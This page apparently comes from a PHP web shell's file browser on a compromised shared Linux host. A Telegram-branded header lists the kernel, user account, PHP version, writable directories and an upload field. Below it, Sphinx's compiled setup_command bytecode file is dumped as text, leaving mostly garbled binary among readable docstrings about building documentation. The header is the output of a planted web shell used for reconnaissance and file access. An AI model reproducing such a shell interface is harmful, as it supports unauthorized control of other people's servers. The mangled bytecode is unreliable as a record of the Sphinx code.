https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sphinx/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sphinx/__pycache__/setup_command.cpython-310.pyc
o

�$�ap�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZdd	lmZmZdd
lmZmZddlmZGdd
�d
e�ZdS)a?
    sphinx.setup_command
    ~~~~~~~~~~~~~~~~~~~~

    Setuptools/distutils commands to assist the building of sphinx
    documentation.

    :author: Sebastian Wiesner
    :contact: basti.wiesner@gmx.net
    :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�Command)�DistutilsExecError)�StringIO)�Any�Dict)�Sphinx)�handle_exception)�color_terminal�nocolor)�docutils_namespace�patch_docutils)�abspathc@sPeZdZdZdZgd�Zgd�Zddd�Zdefd	d
�Z	ddd�Z
dd
d�ZdS)�BuildDoca9
    Distutils command to build Sphinx documentation.

    The Sphinx build can then be triggered from distutils, and some Sphinx
    options can be set in ``setup.py`` or ``setup.cfg`` instead of Sphinx's
    own configuration file.

    For instance, from `setup.py`::

       # this is only necessary when not using setuptools/distribute
       from sphinx.setup_command import BuildDoc
       cmdclass = {'build_sphinx': BuildDoc}

       name = 'My project'
       version = '1.2'
       release = '1.2.0'
       setup(
           name=name,
           author='Bernard Montgomery',
           version=release,
           cmdclass=cmdclass,
           # these are optional and override conf.py settings
           command_options={
               'build_sphinx': {
                   'project': ('setup.py', name),
                   'version': ('setup.py', version),
                   'release': ('setup.py', release)}},
       )

    Or add this section in ``setup.cfg``::

       [build_sphinx]
       project = 'My project'
       version = 1.2
       release = 1.2.0
    zBuild Sphinx documentation))�	fresh-env�Ezdiscard saved environment)�	all-files�azbuild all files)zsource-dir=�szSource directory)z
build-dir=NzBuild directory)zconfig-dir=�cz'Location of the configuration directory)zbuilder=�bz]The builder (or builders) to use. Can be a comma- or space-separated list. Defaults to "html")�warning-is-error�WzTurn warning into errors)zproject=NzThe documented project's name)zversion=NzThe short X.Y version)zrelease=Nz.The full version, including alpha/beta/rc tags)ztoday=NzCHow to format the current date, used as the replacement for |today|)�
link-index�iz!Link index.html to the master doc)�	copyrightNzThe copyright string)�pdbNzStart pdb on exception)�	verbosity�vz$increase verbosity (can be repeated))�nitpicky�nz1nit-picky mode, warn about all missing references)z
keep-goingNz)With -W, keep going when getting warnings)rrrrr�returnNcCsxd|_|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
|jjd|_d|_d|_d|_dS)NF�html��)�	fresh_env�	all_filesr�
source_dir�	build_dir�builder�warning_is_error�project�version�release�today�
config_dir�
link_indexr�distribution�verboser�	tracebackr�
keep_going��self�r6�6/usr/lib/python3/dist-packages/sphinx/setup_command.py�initialize_options[s"
zBuildDoc.initialize_optionscCsHdD]}tj�|�sqt�|�D]\}}}d|vr|SqqtjS)N)�doc�docszconf.py)�os�path�isdir�walk�curdir)r5�guess�root�dirnames�	filenamesr6r6r7�_guess_source_diros��zBuildDoc._guess_source_dircs���d��jdur����_��d�j���d��jdur%�j�_�jdur:��d�}tj	�
t|j�d��_tj	�
�jd��_
�fdd��jD��_dS)	Nr(zUsing source directory %sr&�build�sphinx�doctreescs g|]}|tj��j|�f�qSr6)r;r<�joinr')�.0r(r4r6r7�
<listcomp>�s��z-BuildDoc.finalize_options.<locals>.<listcomp>)�ensure_string_listr&rD�announce�ensure_dirnamer.r'�get_finalized_commandr;r<rHr
�
build_base�doctree_dirr(�builder_target_dirs)r5rEr6r4r7�finalize_optionsxs







�zBuildDoc.finalize_optionsc
Cs�t�st�|js
t�}ntj}i}|jr|j|d<|jr"|j|d<|jr*|j|d<|j	r2|j	|d<|j
r:|j
|d<|jrB|j|d<|jD]�\}}d}zW|j
pQ|j}t|��Ct��0t|j|j
||j||||j|j|j|jd�}|j|jd�|jr�td	|jj��Wd�n1s�wYWd�n1s�wYWn"ty�}zt|||tj�|j s�t!d
�|�WYd}~nd}~ww|j"s�qE|j#j$|jj%}|j�&d�}	t'�(||	�qEdS)Nr*r+r,r-rr)�freshenv�warningiserrorrr3)�	force_allzcaused by %s builder.r#�index))r	r
r1r�sys�stdoutr*r+r,r-rrrQr.r&rrrrPr$r)rr3rEr%�
statuscoderr(�name�	Exceptionr�stderrr�
SystemExitr/�config�root_doc�
out_suffix�get_outfilenamer;�symlink)
r5�
status_stream�
confoverridesr(�builder_target_dir�app�confdir�exc�src�dstr6r6r7�run�sj






�
�����
����zBuildDoc.run)r N)�__name__�
__module__�__qualname__�__doc__�description�user_options�boolean_optionsr8�strrDrRrkr6r6r6r7rs%

	r)ror;rW�
distutils.cmdr�distutils.errorsr�ior�typingrr�sphinx.applicationr�sphinx.cmd.buildr�sphinx.util.consoler	r
�sphinx.util.docutilsrr�sphinx.util.osutilr
rr6r6r6r7�<module>s


https://t.me/RX1948 - 2025